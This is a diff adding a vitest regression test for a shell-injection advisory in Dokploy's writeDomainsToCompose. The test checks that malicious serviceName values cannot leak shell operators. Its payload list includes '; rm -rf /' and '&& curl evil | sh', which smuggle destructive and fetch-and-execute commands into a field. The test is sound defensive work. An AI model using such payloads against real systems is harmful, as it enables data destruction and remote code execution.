|
| 1 | +import { parse } from "shell-quote"; |
| 2 | +import { describe, expect, it, vi } from "vitest"; |
| 3 | + |
| 4 | +// writeDomainsToCompose reads the on-disk compose file; mock fs so the file |
| 5 | +// "exists" but does not contain the attacker's service, forcing the error path |
| 6 | +// whose message embeds the user-controlled serviceName. |
| 7 | +vi.mock("node:fs", async (importOriginal) => { |
| 8 | + const actual = await importOriginal<typeof import("node:fs")>(); |
| 9 | + return { |
| 10 | + ...actual, |
| 11 | + existsSync: () => true, |
| 12 | + readFileSync: () => "services:\n web:\n image: nginx\n", |
| 13 | + }; |
| 14 | +}); |
| 15 | + |
| 16 | +import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain"; |
| 17 | + |
| 18 | +const baseCompose = { |
| 19 | + appName: "my-app", |
| 20 | + serverId: null, |
| 21 | + composeType: "docker-compose", |
| 22 | + sourceType: "raw", |
| 23 | + composePath: "docker-compose.yml", |
| 24 | + isolatedDeployment: false, |
| 25 | + randomize: false, |
| 26 | + suffix: "", |
| 27 | +} as any; |
| 28 | + |
| 29 | +const makeDomain = (serviceName: string) => |
| 30 | + ({ |
| 31 | + host: "example.com", |
| 32 | + serviceName, |
| 33 | + https: false, |
| 34 | + uniqueConfigKey: 1, |
| 35 | + port: 3000, |
| 36 | + }) as any; |
| 37 | + |
| 38 | +// If the returned shell fragment is safe, parse() yields only string tokens. |
| 39 | +// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token. |
| 40 | +const leaksShellSyntax = (command: string, marker: string) => |
| 41 | + parse(command).some( |
| 42 | + (t) => typeof t !== "string" && JSON.stringify(t).includes(marker), |
| 43 | + ); |
| 44 | + |
| 45 | +describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => { |
| 46 | + it("does not let a malicious serviceName inject shell operators", async () => { |
| 47 | + const result = await writeDomainsToCompose(baseCompose, [ |
| 48 | + makeDomain("$(touch /tmp/pwned)"), |
| 49 | + ]); |
| 50 | + |
| 51 | + // The service does not exist in the compose, so we hit the error branch. |
| 52 | + expect(result).toContain("Has occurred an error"); |
| 53 | + expect(leaksShellSyntax(result, "touch")).toBe(false); |
| 54 | + expect(result).not.toContain("$(touch"); |
| 55 | + }); |
| 56 | + |
| 57 | + it("neutralizes backtick and semicolon payloads too", async () => { |
| 58 | + for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) { |
| 59 | + const result = await writeDomainsToCompose(baseCompose, [ |
| 60 | + makeDomain(`svc${payload}`), |
| 61 | + ]); |
| 62 | + expect(leaksShellSyntax(result, "rm")).toBe(false); |
| 63 | + expect(leaksShellSyntax(result, "curl")).toBe(false); |
| 64 | + expect(leaksShellSyntax(result, "id")).toBe(false); |
| 65 | + } |
| 66 | + }); |
| 67 | +}); |
0 commit comments